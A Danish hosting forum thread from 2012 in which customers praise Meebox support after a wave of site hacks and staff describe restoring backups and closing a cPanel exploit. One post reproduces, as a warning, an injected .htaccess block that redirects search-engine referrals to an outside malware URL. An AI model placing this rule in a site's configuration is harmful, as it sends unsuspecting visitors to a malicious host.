Franchise & kæder - Få hjælp her

Svar: Ros til Meebox

ppehrson — Sat, 14 Jul 2012 19:03:11 GMT

Det er ikke kun Meebox-kunder, der er angrebet. Der er noget specielt ondsindet malware i omløb lige for tiden. Indtil videre er én af mine sider blevet ramt 4 gange, mens en anden har fået .htaccess angreb 3 gange - og jeg er helt sikker på at mit FTP kodeord ikke er blevet hacket.

På den meget angrebne side ligger en Wordpress variant. Den anden er specialiseret software, som er mere modstandsdygtig. men Wordpress er IKKE en særlig sikker base at benytte.

Desuden er en restore fra backup IKKE en løsning på en dynamisk side med masser af nyt indhold hver dag.
Først og fremmest: Lås din htaccess og hold øje med den. Dernæst, sikr dig at din side kan modarbejde injections af diverse art.

Se fx denne, som er en af de meget aktive (og i øvrigt ændrer i mindst én php fil):

#c3284d#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://planwood.com/modules/counter.php [R=301,L]
</IfModule>
#/c3284d#

Jeg er ked af at måtte sige det, men det lader til (for mig at se) at dette er produktet af SEO hacking. Faktisk er der tale om en redirect til en Twitter profil, så personen der ejer den får besøg.

Læs mere her: http://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php.html

Svar: Ros til Meebox

Anonymous — Wed, 11 Jul 2012 11:36:19 GMT

Jeg er enig med de fleste af jer.

Da jeg startede med hjemmesider for et lille års tid siden, anede jeg overhovedet intet om det. Men de hjalp mig igennem processen - og den process har de hjulpet mig igennem mange gange (jeg er åbenbart glemsom, hvad angår teknik).

Vil også lige i anledningen smide en stor ros ud til Meebox. Utroligt at de må sådan en billig pris, kan yde sådan en god support.

- Thumbs Up!

Svar: Ros til Meebox

Thomas — Wed, 11 Jul 2012 11:22:43 GMT

Jeg går med i koret.

Der er ingen hostingservice som Meebox. Ingen over, ingen ved siden af.

De er ge-ni-a-le.

Svar: Ros til Meebox

Anders Eiler — Wed, 11 Jul 2012 11:17:38 GMT

Selv de største og bedste kan blive bedre. Se bare vores kollegaer i branchen eller fx Microsoft. Der vil altid være nogle, som vil forsøge at finde nye exploits, hacks eller andre måder at udnytte og misbruge systemerne. Vi var blevet ramt af et nyt exploit, bygget til at target wordpress, joomla, magento samt generisk de-facing. Samtidig var det bygget til at fungere på cPanel, det system vi anvender. Derfor har vi været i kontakt med folkene bag cPanel, og i samarbejde med dem fået identificeret hvad som er sket og fået lukket muligheden for at anvende det exploit.

Det er nogle dyrt købte erfaringer, som John også er inde på, men må vi tage med, lære af det og blive dygtigere af det. For god ordens skyld skal jeg dog sige, at det intet har at gøre med de andre problemer som John snakker om og at serverne ikke har været hacket på root-niveau eller lignende (for at afkræfte diverse rygter inden de opstår). Vi har arbejdet i døgndrift for at identificere og lukke det exploit som er anvendet, samtidig med vi har fået de ramte sider tilbage til normalen så hurtigt som muligt. Jeg er glad for at læse, at rigtig mange er rigtig glade for den hjælp vi har ydet.

Svar: Ros til Meebox

Christian Bundgaard — Wed, 11 Jul 2012 09:33:40 GMT

Noget af det mest imponerende er, at jeg fik webhotellet gratis, da de havde fødselsdag (jeg ville dog have købt alligevel) - stadigvæk får jeg support nærmest døgnet rundt. Engang hvor jeg skulle have noget fixet kl. 1 fredag-lørdag nat, var de der såmænd også ;)

Heldigvis er jeg ikke blevet ramt her, men jeg tror dog, jeg vil rydde op i mine testinstallationer af diverse CMS, så de ikke åbner op for noget, da de ikke er i brug :-)

Svar: Ros til Meebox

Sune Viberg — Wed, 11 Jul 2012 09:27:16 GMT

Jeg vil faktisk også gerne takke Meebox for den fantastiske support de gav mig da mit website blev ramt. Jeg oprettede en support ticket klokken 13:33, og klokken 13:35 var problemet løst, og min side kørte normalt igen!

Svar: Ros til Meebox

John Nielsen — Wed, 11 Jul 2012 09:25:18 GMT

Anders - Meebox:
Også selvom vi i nogle tilfælde overfor kunden i vores forklaring/svar blot har fokuseret på at få hans/hendes side tilbage online, og så internt arbejdet videre med de lidt mere komplekse ting! :-)

Hej Anders,

Ingen tvivl om, at I arbejder hårdt på at genskabe såvel IT-sikkerheden på serverne, jævnfør jeres meddelelse direkte til kunderne, som brugernes tillid.

Med et flere timer langt nedbrud få dage inden hackerangrebene og defacing af et antal kunders webhoteller og sites i et par omgange, må det have givet jer nogle dyrt købte erfaringer, som I naturligvis helst havde været foruden.

Men selv om det nok kan være svært at erkende i åbent forum, vil jeg håbe, at I alligevel lærte at tage de første henvendelser om omfanget af sikkerhedsbrudene seriøst, i stedet for blot at opfordre kunderne til at "fjerne uønskede filer, som ikke hører til der".

Jeg ved også godt, at I har gang i nogle omfattende tekniske tiltag. Når I er kommet på den anden side af dem, håber jeg også at høre fra Patrick med den lovede tilbagemelding.

Lad os håbe, at vi er på den anden side af disse udfordringer. :)

Dbh. John

Svar: Ros til Meebox

Anonymous — Wed, 11 Jul 2012 09:24:02 GMT

Anders - Meebox:
Derudover har vi naturligvis brugt meget tid på at identificere problemet, hvilket vi har gjort, samt at få det lukket.

Hvad var årsagen til at så mange blev ramt?

Svar: Ros til Meebox

Steffen Gregersen — Wed, 11 Jul 2012 09:21:09 GMT

@Anders:

Det lyder rigtig godt at I kigger på at stoppe hullet til. Det var nemlig dette der gjorde mig lidt usikker på den support jeg fik.

Jeg spurgte nemlig direkte til om det var et generelt problem (og det kan jeg jo konstatere nu, da vi er flere der er blevet hacket), og fik bare det svar at "Det burde ikke kunne ske igen".

Men ville jo gerne vide at det sikkerhedshul der var blevet brugt, nu var lukket...eller at man gav den gas med at finde årsagen.
Nu har jeg jo brugt en del tid på at prøve at finde ud af fra min side om det var nogle problemer på mine sider (som ligner hinanden rigtig meget). Det kunne jeg jo have sparet, hvis jeg vidste at det var noget I arbejdede på at løse :)

Er problemet løst nu eller arbejdes der stadig på det?

Svar: Ros til Meebox

Anders Eiler — Wed, 11 Jul 2012 09:06:00 GMT

Nicolai Schlenzig:
Jeg er ked af at skulle ødelægge den ellers gode stemning - men jeg bliver nødt til at påpege, at man *ikke* løser problemet, ved kun at restore en backup.

Du har fuldstændig ret - at restore fra vores backup genskaber blot kundernes sider til et stadie som før defacingen. Det har vi gjort ved alle dem, som vi kender til er ramte. Derudover har vi naturligvis brugt meget tid på at identificere problemet, hvilket vi har gjort, samt at få det lukket.

Jeg er helt enig i hvad du skriver, og vi har naturligvis også gjort mere, end bare restore fra backup'en. Også selvom vi i nogle tilfælde overfor kunden i vores forklaring/svar blot har fokuseret på at få hans/hendes side tilbage online, og så internt arbejdet videre med de lidt mere komplekse ting! :-)

Svar: Ros til Meebox

Nicolai Schlenzig — Wed, 11 Jul 2012 08:51:53 GMT

Jeg er ked af at skulle ødelægge den ellers gode stemning - men jeg bliver nødt til at påpege, at man *ikke* løser problemet, ved kun at restore en backup.

Man bliver nødt til at finde årsagen til, at det i første omgang overhovedet kunne ske, at nogen kom ind og lavede om i systemet/hackede det.

Hvis man ikke lukker hullerne, er det lidt som at pisse i bukserne, for at sige det populistisk. Det varmer kun i ganske kort tid, da hullet stadig står piv åbent, og risikoen for at hullet bliver udnyttet igen er overhængende.

Kan man ikke finde hullet, bliver man selvfølgelig nødt til at gøre hvad man kan, og få en ekspert til at lave review af systemet, hvis man synes det er nødvendigt. Det er som altid et spørgsmål om økonomi (og/eller ære), så det er noget man må gøre op med sig selv.

Så jeg håber din udbyder tager din henvendelse mere seriøst end at anbefale en simpel restore. Det er ikke sikkert, at det er deres ansvar, hvis fejlen ligger i noget kode du selv har lagt ind, men jeg vil forvente at min udbyder påpegede dette, hvis jeg henvendte mig, og ikke vidste bedre selv.

Mit råd er derfor, at du kontakter Meebox igen, og hører dem til, om det er en kendt fejl, som de nu har rettet, eller om de vurderer, at det er din egen kode den er gal med. I tilfælde af, at det er din egen kode, så må du vurdere hvad du vil gøre, som nævnt :)

Håber du får løst dine problemer, både på den korte og den lange bane.

Fortsat rigtig god dag ;)

Svar: Ros til Meebox

Mikael christiansen — Wed, 11 Jul 2012 08:43:44 GMT

jeg kan også kun rose meebox.net efter en havde prøvet ligge noget på min side, det lagde den fuldstændige ned , de lagde hele siden op igen meget hurtigt og fandt det som de havde lagt på min side

jeg skriftet koden min kode ud på webhotel og jeg er lykkelige over at have mit webhotel hos dem

Svar: Ros til Meebox

Steffen Gregersen — Wed, 11 Jul 2012 08:43:28 GMT

Ok :) Fedt nok...

Men det må jo så være dette, som de har gjort for mig :)
For den er jo ihvertfald blevet restored.

Så nok derfor der jo ikke var så meget at sige til mig :) Hehe...

Svar: Ros til Meebox

slettet_bruger — Wed, 11 Jul 2012 08:41:00 GMT

@ Steffen

Den jeg fik så sådan ud:

Du kan inde fra dit cPanel vælge at restore en backup.

I menuen som hedder "Files" der kan du klikke på den som hedder "cPremote Backup Managemen"t der efter trykker du på "Restore Document Root"

Så indtaster du din email og trykker på "Restore" Så vil du få en email tilsendt når den er færdig med at ligge backup'en op.

Når du har gjort dette går du ud til start'en igen altså "cPremote Backup Management"

Her kan du klikke på "Restore Datbase" Indtast email og hvilken database du vil gendanne og den vil blive gendannet :-)

Så kan du gemme den til en anden gang

Hilsen Henning

Svar: Ros til Meebox

Steffen Gregersen — Wed, 11 Jul 2012 08:36:39 GMT

Ja, alle mine sider på Meebox blev også hacket forleden. Det var lidt skod. Håber ikke det sker igen.

Fik dog ikke rigtig nogen forklaring eller besked fra dem eller noget. Men de hentede dog en backup ind så snart jeg gjorde dem opmærksomme på angrebet.